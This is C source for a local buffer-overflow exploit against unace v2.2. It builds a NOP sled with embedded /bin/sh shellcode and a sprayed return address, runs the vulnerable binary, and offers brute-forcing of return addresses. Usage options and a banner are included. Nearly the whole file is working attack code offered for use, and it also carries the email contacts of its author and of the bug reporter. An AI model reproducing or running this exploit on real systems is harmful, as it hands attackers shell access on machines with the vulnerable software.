/*Local exploit for unace v2.2 by Li0n7
 *Bug reported by Andreas Constantinides <megahz@megahz.org>
 *contact me: Li0n7@voila.fr
 *visit us: ioc.fr.st
 *tested on slackware 9.0
 *usage: ./unace-exp[-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]
 *-r <RET>: try to exploit unace with specified <RET> as return address
 *-b:       enables bruteforcing
 *-s:       specify the first address to bruteforce
 *-d:       the value to take away from the starting address at each bruteforcing iteration     
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>

#define BSIZE   600
#define SIZE    BSIZE*2
#define D_DIFF  1
#define D_START 0xbfffffff
#define PATH    "/tmp/test/exploits/src/unace"
#define RET     0xbffff73a

char shellcode[]=
      "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
      "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *buffer,*ptr;

void exec_culn();
int tease();
int make_string(long ret_addr);
int bruteforce(long start,int diff);
void banner(char *argv0);

int 
main(int argc,char *argv[])
{
      char * option_list = "bd:r:s:";
      int option,brute = 0,opterr = 0,diff = D_DIFF;
      long ret,start = D_START;

      banner(argv[0]);
      if (argc < 1) exit(-1);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'b':
                  brute = 1;
                  break;
              case 'd':
                  diff = atoi(optarg);
                  break;
              case 'r':
                  ret = strtoul(optarg,NULL,0);
                  make_string(ret);
                  tease();
                  exit(0);
                  break;
              case 's':
                  start = strtoul(optarg,NULL,0);
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                  banner(argv[0]);
                  exit(-1);
          }
 
      if(brute == 1)
          bruteforce(start,diff);

      return 0;
}

void 
exec_vuln()
{
      execl(PATH,PATH,"e",buffer,NULL);
}


int 
tease()
{
      pid_t pid;
      pid_t wpid;
      int status;

      pid = fork();

      if ( pid == -1 ) {
          fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
          exit(13);

      } else if ( pid == 0 ) {

          exec_vuln();

      } else  {

         wpid = wait(&status);
         if ( wpid == -1 ) {

             fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
             return 1;

         } else if ( wpid != pid )

             abort();

        else {

            if ( WIFEXITED(status) ) {

                printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
                return WEXITSTATUS(status);

            } else if ( WIFSIGNALED(status) ) {

                return WTERMSIG(status);
            } else {

                fprintf(stderr, "[-] Stopped.\n");

            }
        }
      }
      return 1;
}


int 
make_string(long ret_addr)
{
      int i;
      long ret,addr,*addr_ptr;    
      
      buffer = (char *)malloc(SIZE);

      if(!buffer)
      {
          fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
          exit(-1);
      }

      ptr = buffer;

      memset(ptr,0x90,BSIZE-strlen(shellcode));
      ptr += BSIZE-strlen(shellcode);

      for(i=0;i<strlen(shellcode);i++)
          *ptr++ = shellcode[i];

      addr_ptr = (long *)ptr;
      for(i=0;i<100;i++)
          *(addr_ptr++) = ret_addr;
      ptr = (char *)addr_ptr;
      *ptr = 0;

      return 0;
}


int 
bruteforce(long start,int diff)
{
      int ret;
      long i;

      fprintf(stdout,"[+] Starting bruteforcing...\n");
 
      for(i=start;i<0;i=i-diff) 
      {
          fprintf(stdout,"[+] Testing 0x%x...\n",i);
          make_string(i);
          ret=tease();
          if(ret==0)
          {
              fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
              break;
          }
      }
      
      return 0;
}

void 
banner(char *argv0)
{
      fprintf(stderr,"\n    local exploit for unace v <= 2.2 by Li0n7\n");
      fprintf(stderr,"    vulnerability reported by Andreas Constantinides <megahz@megahz.org>\n");
      fprintf(stderr,"    visit us: http://www.ioc.fr.st\n");
      fprintf(stderr,"    contact me: Li0n7[at]voila[dot]fr\n");
      fprintf(stderr,"    usage: %s [-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]\n\n",argv0);
}